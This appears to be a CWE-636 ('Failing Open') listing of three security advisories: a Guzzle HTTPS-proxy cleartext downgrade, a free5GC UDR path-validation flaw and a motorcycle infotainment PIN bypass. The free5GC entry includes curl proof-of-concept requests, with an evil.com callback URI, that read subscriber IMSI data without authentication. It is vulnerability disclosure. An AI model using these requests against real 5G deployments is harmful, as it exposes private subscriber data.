CWE-636
Allowed-with-ReviewNot Failing Securely ('Failing Open')
Abstraction: Class · Status: Draft
When the product encounters an error condition or failure, its design requires it to fall back to a state that is less secure than other options that are available, such as selecting the weakest encryption algorithm or using the most permissive access control restrictions.
73 vulnerabilities reference this CWE, most recent first.
GHSA-WPWQ-4J6V-78M3
Vulnerability from github – Published: 2026-06-19 14:17 – Updated: 2026-06-19 14:17Impact
The built-in cURL handlers (GuzzleHttp\Handler\CurlHandler and GuzzleHttp\Handler\CurlMultiHandler, used by default whenever the PHP cURL extension is available) accept an https:// proxy — a proxy reached over a TLS-encrypted connection — through the proxy request option, client-level proxy defaults, or proxy environment variables such as http_proxy, https_proxy, HTTPS_PROXY, all_proxy, and ALL_PROXY.
When the installed libcurl does not support HTTPS proxies, behavior depends on the libcurl version/build:
- libcurl older than 7.50.2 silently treats an
https://proxy as a plaintexthttp://proxy. The TLS connection to the proxy is never established, and the proxy leg is cleartext with no error or warning. - libcurl 7.50.2 through 7.51.x rejects the unsupported proxy scheme at connect time, so no cleartext exposure occurs, but the failure is late and opaque.
- libcurl 7.52.0 or newer builds without HTTPS-proxy support also fail at connect time rather than downgrading.
The security-relevant case is the silent downgrade on libcurl older than 7.50.2. An application is affected when it sends requests through one of the built-in cURL handlers, configures an https:// proxy expecting the proxy connection itself to be encrypted, and runs with libcurl older than 7.50.2.
In that configuration, traffic expected to be protected by TLS on the hop to the proxy is transmitted in cleartext. Proxy authentication credentials (the Proxy-Authorization header, proxy userinfo in the proxy URL, or CURLOPT_PROXYUSERPWD) are sent without encryption, and the CONNECT target host and port for tunneled HTTPS requests are exposed. For plain HTTP requests, request headers and bodies are also exposed on the proxy leg. End-to-end HTTPS requests tunneled through the proxy remain protected by their inner TLS session; the exposure is limited to the proxy negotiation and proxy credentials.
Applications that do not configure an https:// proxy are not affected. Installations running libcurl 7.52.0 or newer built with HTTPS-proxy support are not affected because HTTPS proxies work as intended. Installations running libcurl 7.50.2 through 7.51.x, or libcurl 7.52.0 or newer built without HTTPS-proxy support, are not exposed to the silent cleartext downgrade, but Guzzle now rejects those unsupported configurations up front as well. The built-in stream handler is not affected; the issue is specific to the cURL handlers' proxy handling. Low-level cURL options under the curl request option, such as CURLOPT_PROXY or CURLOPT_PROXYTYPE, are advanced custom configuration and remain the caller's responsibility.
Patches
The issue is patched in 7.12.1 and later. Starting in that release, the built-in cURL handlers detect whether the installed libcurl supports HTTPS proxies — requiring both libcurl 7.52.0 or newer and the CURL_VERSION_HTTPS_PROXY feature bit — and reject a request configured through Guzzle's first-class proxy handling with an https:// proxy up front by throwing a GuzzleHttp\Exception\RequestException. No request bytes reach the network when the proxy cannot be used securely. Versions before 7.12.1 are affected by the silent downgrade when run against libcurl older than 7.50.2.
Workarounds
If you cannot upgrade immediately, do not configure an https:// proxy on an installation whose libcurl lacks HTTPS-proxy support, and verify the capability in application code before using one. Remember to check proxy environment variables as well as any explicit proxy option:
$curl = \curl_version();
$httpsProxyBit = \defined('CURL_VERSION_HTTPS_PROXY') ? \CURL_VERSION_HTTPS_PROXY : (1 << 21);
if (\version_compare($curl['version'], '7.52.0', '<') || 0 === ($curl['features'] & $httpsProxyBit)) {
throw new \RuntimeException('Installed libcurl does not support HTTPS proxies.');
}
Upgrading the system libcurl to 7.52.0 or newer built with HTTPS-proxy support also resolves the underlying unsupported-proxy behavior.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "guzzlehttp/guzzle"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.12.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55568"
],
"database_specific": {
"cwe_ids": [
"CWE-311",
"CWE-319",
"CWE-636"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-19T14:17:59Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Impact\n\nThe built-in cURL handlers (`GuzzleHttp\\Handler\\CurlHandler` and `GuzzleHttp\\Handler\\CurlMultiHandler`, used by default whenever the PHP cURL extension is available) accept an `https://` proxy \u2014 a proxy reached over a TLS-encrypted connection \u2014 through the `proxy` request option, client-level `proxy` defaults, or proxy environment variables such as `http_proxy`, `https_proxy`, `HTTPS_PROXY`, `all_proxy`, and `ALL_PROXY`.\n\nWhen the installed libcurl does not support HTTPS proxies, behavior depends on the libcurl version/build:\n\n- libcurl older than 7.50.2 silently treats an `https://` proxy as a plaintext `http://` proxy. The TLS connection to the proxy is never established, and the proxy leg is cleartext with no error or warning.\n- libcurl 7.50.2 through 7.51.x rejects the unsupported proxy scheme at connect time, so no cleartext exposure occurs, but the failure is late and opaque.\n- libcurl 7.52.0 or newer builds without HTTPS-proxy support also fail at connect time rather than downgrading.\n\nThe security-relevant case is the silent downgrade on libcurl older than 7.50.2. An application is affected when it sends requests through one of the built-in cURL handlers, configures an `https://` proxy expecting the proxy connection itself to be encrypted, and runs with libcurl older than 7.50.2.\n\nIn that configuration, traffic expected to be protected by TLS on the hop to the proxy is transmitted in cleartext. Proxy authentication credentials (the `Proxy-Authorization` header, proxy userinfo in the proxy URL, or `CURLOPT_PROXYUSERPWD`) are sent without encryption, and the `CONNECT` target host and port for tunneled HTTPS requests are exposed. For plain HTTP requests, request headers and bodies are also exposed on the proxy leg. End-to-end HTTPS requests tunneled through the proxy remain protected by their inner TLS session; the exposure is limited to the proxy negotiation and proxy credentials.\n\nApplications that do not configure an `https://` proxy are not affected. Installations running libcurl 7.52.0 or newer built with HTTPS-proxy support are not affected because HTTPS proxies work as intended. Installations running libcurl 7.50.2 through 7.51.x, or libcurl 7.52.0 or newer built without HTTPS-proxy support, are not exposed to the silent cleartext downgrade, but Guzzle now rejects those unsupported configurations up front as well. The built-in stream handler is not affected; the issue is specific to the cURL handlers\u0027 proxy handling. Low-level cURL options under the `curl` request option, such as `CURLOPT_PROXY` or `CURLOPT_PROXYTYPE`, are advanced custom configuration and remain the caller\u0027s responsibility.\n\n### Patches\n\nThe issue is patched in `7.12.1` and later. Starting in that release, the built-in cURL handlers detect whether the installed libcurl supports HTTPS proxies \u2014 requiring both libcurl 7.52.0 or newer and the `CURL_VERSION_HTTPS_PROXY` feature bit \u2014 and reject a request configured through Guzzle\u0027s first-class proxy handling with an `https://` proxy up front by throwing a `GuzzleHttp\\Exception\\RequestException`. No request bytes reach the network when the proxy cannot be used securely. Versions before `7.12.1` are affected by the silent downgrade when run against libcurl older than 7.50.2.\n\n### Workarounds\n\nIf you cannot upgrade immediately, do not configure an `https://` proxy on an installation whose libcurl lacks HTTPS-proxy support, and verify the capability in application code before using one. Remember to check proxy environment variables as well as any explicit `proxy` option:\n\n```php\n$curl = \\curl_version();\n$httpsProxyBit = \\defined(\u0027CURL_VERSION_HTTPS_PROXY\u0027) ? \\CURL_VERSION_HTTPS_PROXY : (1 \u003c\u003c 21);\n\nif (\\version_compare($curl[\u0027version\u0027], \u00277.52.0\u0027, \u0027\u003c\u0027) || 0 === ($curl[\u0027features\u0027] \u0026 $httpsProxyBit)) {\n throw new \\RuntimeException(\u0027Installed libcurl does not support HTTPS proxies.\u0027);\n}\n```\n\nUpgrading the system libcurl to 7.52.0 or newer built with HTTPS-proxy support also resolves the underlying unsupported-proxy behavior.",
"id": "GHSA-wpwq-4j6v-78m3",
"modified": "2026-06-19T14:17:59Z",
"published": "2026-06-19T14:17:59Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/guzzle/guzzle/security/advisories/GHSA-wpwq-4j6v-78m3"
},
{
"type": "PACKAGE",
"url": "https://github.com/guzzle/guzzle"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "guzzlehttp/guzzle: Silent HTTPS-Proxy Downgrade to Cleartext"
}
GHSA-X5R2-R74C-3W28
Vulnerability from github – Published: 2026-04-14 20:00 – Updated: 2026-04-24 20:36Summary
An improper path validation vulnerability in the UDR service allows any unauthenticated attacker with access to the 5G Service Based Interface (SBI) to read Traffic Influence Subscriptions by supplying an arbitrary value in place of the expected subs-to-notify path segment.
Details
The endpoint GET /nudr-dr/v2/application-data/influenceData/{influenceId}/{subscriptionId} is intended to only operate on Traffic Influence Subscription resources when influenceId is exactly subs-to-notify.
In the free5GC UDR implementation, the path validation is present but ineffective because the handler does not return after sending the HTTP 404 response. The request handling flow is:
- The function
HandleApplicationDataInfluenceDataSubsToNotifySubscriptionIdGetin./free5gc_4-2-1/free5gc/NFs/udr/internal/sbi/api_datarepository.gochecks whetherinfluenceId != "subs-to-notify". - If the value is different, it calls
c.String(http.StatusNotFound, "404 page not found"), but it does not return afterwards. - Execution continues and the handler still calls
s.Processor().ApplicationDataInfluenceDataSubsToNotifySubscriptionIdGetProcedure(c, subscriptionId). - The processor retrieves and returns the subscription identified by
subscriptionIdeven though the path is invalid and the request should have been rejected.
As a result, an attacker can send a request to an invalid path, receive an apparent 404 page not found response, and still obtain the full subscription object in the same HTTP response body.
The missing return after sending the 404 response in api_datarepository.go is the root cause of this vulnerability.
PoC
No authentication is required. Only a valid subscriptionId is needed.
# Create a subscription to obtain a valid subscriptionId
curl -v -X POST "http://<udr-host>/nudr-dr/v2/application-data/influenceData/subs-to-notify" \
-H "Content-Type: application/json" \
-d '{
"notificationUri":"http://evil.com/notify",
"dnns":["internet"],
"snssais":[{"sst":1,"sd":"000001"}],
"supis":["imsi-222777483957498"]
}'
Example response:
HTTP/1.1 201 Created
Then read it through an invalid path:
curl -v "http://<udr-host>/nudr-dr/v2/application-data/influenceData/WRONGID/87615e16"
Response:
HTTP/1.1 404 Not Found
404 page not found{"dnns":["internet"],"snssais":[{"sst":1,"sd":"000001"}],"supis":["imsi-222777483957498"],"notificationUri":"http://evil.com/notify"}
For comparison, the valid request is:
curl -v "http://<udr-host>/nudr-dr/v2/application-data/influenceData/subs-to-notify/87615e16"
Response:
{"dnns":["internet"],"snssais":[{"sst":1,"sd":"000001"}],"supis":["imsi-222777483957498"],"notificationUri":"http://evil.com/notify"}
Impact
This is an unauthenticated information disclosure vulnerability. Any attacker with network access to the SBI can retrieve Traffic Influence Subscription objects by knowing or guessing a valid subscriptionId, even when using an invalid path that should have been rejected.
The returned objects may contain sensitive subscriber-related information, including SUPIs/IMSIs, DNNs, S-NSSAIs, and callback notificationUri values.
Impacted deployments: any free5GC instance where the SBI is reachable by untrusted parties (e.g., misconfigured network segmentation, rogue NF, or compromised internal host).
Patch
The vulnerability has been confirmed patched by adding the missing return statement in NFs/udr/internal/sbi/api_datarepository.go, function HandleApplicationDataInfluenceDataSubsToNotifySubscriptionIdGet:
go
if influenceId != "subs-to-notify" {
c.String(http.StatusNotFound, "404 page not found")
return
}
With the patch applied, requests using an invalid influenceId now correctly return HTTP 404 and do not disclose the targeted subscription data.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/free5gc/udr"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.4.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-40247"
],
"database_specific": {
"cwe_ids": [
"CWE-285",
"CWE-636"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-14T20:00:35Z",
"nvd_published_at": "2026-04-16T22:16:38Z",
"severity": "HIGH"
},
"details": "### Summary\nAn improper path validation vulnerability in the UDR service allows any unauthenticated attacker with access to the 5G Service Based Interface (SBI) to read Traffic Influence Subscriptions by supplying an arbitrary value in place of the expected `subs-to-notify` path segment.\n\n### Details\nThe endpoint `GET /nudr-dr/v2/application-data/influenceData/{influenceId}/{subscriptionId}` is intended to only operate on Traffic Influence Subscription resources when `influenceId` is exactly `subs-to-notify`.\n\nIn the free5GC UDR implementation, the path validation is present but ineffective because the handler does not return after sending the HTTP 404 response. The request handling flow is:\n\n1. The function `HandleApplicationDataInfluenceDataSubsToNotifySubscriptionIdGet` in `./free5gc_4-2-1/free5gc/NFs/udr/internal/sbi/api_datarepository.go` checks whether `influenceId != \"subs-to-notify\"`.\n2. If the value is different, it calls `c.String(http.StatusNotFound, \"404 page not found\")`, **but it does not return afterwards**.\n3. Execution continues and the handler still calls `s.Processor().ApplicationDataInfluenceDataSubsToNotifySubscriptionIdGetProcedure(c, subscriptionId)`.\n4. The processor retrieves and returns the subscription identified by `subscriptionId` even though the path is invalid and the request should have been rejected.\n\nAs a result, an attacker can send a request to an invalid path, receive an apparent `404 page not found` response, and still obtain the full subscription object in the same HTTP response body.\n\nThe missing `return` after sending the 404 response in `api_datarepository.go` is the root cause of this vulnerability.\n\n### PoC\nNo authentication is required. Only a valid `subscriptionId` is needed.\n\n```bash\n# Create a subscription to obtain a valid subscriptionId\ncurl -v -X POST \"http://\u003cudr-host\u003e/nudr-dr/v2/application-data/influenceData/subs-to-notify\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\n \"notificationUri\":\"http://evil.com/notify\",\n \"dnns\":[\"internet\"],\n \"snssais\":[{\"sst\":1,\"sd\":\"000001\"}],\n \"supis\":[\"imsi-222777483957498\"]\n }\u0027\n```\nExample response:\n```\nHTTP/1.1 201 Created\n```\n\nThen read it through an invalid path:\n```bash\ncurl -v \"http://\u003cudr-host\u003e/nudr-dr/v2/application-data/influenceData/WRONGID/87615e16\"\n```\nResponse:\n```\nHTTP/1.1 404 Not Found\n404 page not found{\"dnns\":[\"internet\"],\"snssais\":[{\"sst\":1,\"sd\":\"000001\"}],\"supis\":[\"imsi-222777483957498\"],\"notificationUri\":\"http://evil.com/notify\"}\n```\nFor comparison, the valid request is:\n```bash\ncurl -v \"http://\u003cudr-host\u003e/nudr-dr/v2/application-data/influenceData/subs-to-notify/87615e16\"\n```\nResponse:\n```json\n{\"dnns\":[\"internet\"],\"snssais\":[{\"sst\":1,\"sd\":\"000001\"}],\"supis\":[\"imsi-222777483957498\"],\"notificationUri\":\"http://evil.com/notify\"}\n```\n### Impact\nThis is an unauthenticated information disclosure vulnerability. Any attacker with network access to the SBI can retrieve Traffic Influence Subscription objects by knowing or guessing a valid subscriptionId, even when using an invalid path that should have been rejected.\n\nThe returned objects may contain sensitive subscriber-related information, including SUPIs/IMSIs, DNNs, S-NSSAIs, and callback notificationUri values.\n\nImpacted deployments: any free5GC instance where the SBI is reachable by untrusted parties (e.g., misconfigured network segmentation, rogue NF, or compromised internal host).\n\n### Patch\nThe vulnerability has been confirmed patched by adding the missing return statement in NFs/udr/internal/sbi/api_datarepository.go,\nfunction HandleApplicationDataInfluenceDataSubsToNotifySubscriptionIdGet:\n```\ngo\nif influenceId != \"subs-to-notify\" {\n c.String(http.StatusNotFound, \"404 page not found\")\n return\n}\n```\nWith the patch applied, requests using an invalid influenceId now correctly return HTTP 404 and do not disclose the targeted subscription data.",
"id": "GHSA-x5r2-r74c-3w28",
"modified": "2026-04-24T20:36:20Z",
"published": "2026-04-14T20:00:35Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/free5gc/free5gc/security/advisories/GHSA-x5r2-r74c-3w28"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40247"
},
{
"type": "PACKAGE",
"url": "https://github.com/free5gc/udr"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "free5gc UDR improper path validation allows unauthenticated access to Traffic Influence Subscriptions"
}
GHSA-X7XQ-W72J-V4QX
Vulnerability from github – Published: 2026-05-29 15:30 – Updated: 2026-05-29 15:30Incorrect behavior order in the Infotainment / Digital Round display of the Indian Motorcycle Scout Bobber + Tech 2025 model year allows an adjacent-network attacker to bypass the PIN entry screen. The Infotainment uses presence of Wireless Control Module (WCM) traffic during its boot window as a proxy for whether an immobilizer is fitted; if no WCM messages are observed, it skips the PIN entry screen and shows the normal user interface. An attacker who silences the WCM during the boot window — for example via a separately tracked CAN bus-off technique — can present a fully unlocked Infotainment despite the PIN never being entered. Specific timing and protocol details have been withheld pending vendor remediation.
{
"affected": [],
"aliases": [
"CVE-2026-49317"
],
"database_specific": {
"cwe_ids": [
"CWE-636"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-29T14:16:32Z",
"severity": "LOW"
},
"details": "Incorrect behavior order in the Infotainment / Digital Round display of the Indian Motorcycle Scout Bobber + Tech 2025 model year allows an adjacent-network attacker to bypass the PIN entry screen. The Infotainment uses presence of Wireless Control Module (WCM) traffic during its boot window as a proxy for whether an immobilizer is fitted; if no WCM messages are observed, it skips the PIN entry screen and shows the normal user interface. An attacker who silences the WCM during the boot window \u2014 for example via a separately tracked CAN bus-off technique \u2014 can present a fully unlocked Infotainment despite the PIN never being entered. Specific timing and protocol details have been withheld pending vendor remediation.",
"id": "GHSA-x7xq-w72j-v4qx",
"modified": "2026-05-29T15:30:35Z",
"published": "2026-05-29T15:30:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49317"
},
{
"type": "WEB",
"url": "https://cwe.mitre.org/data/definitions/696.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:P/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
Mitigation
Subdivide and allocate resources and components so that a failure in one part does not affect the entire product.
No CAPEC attack patterns related to this CWE.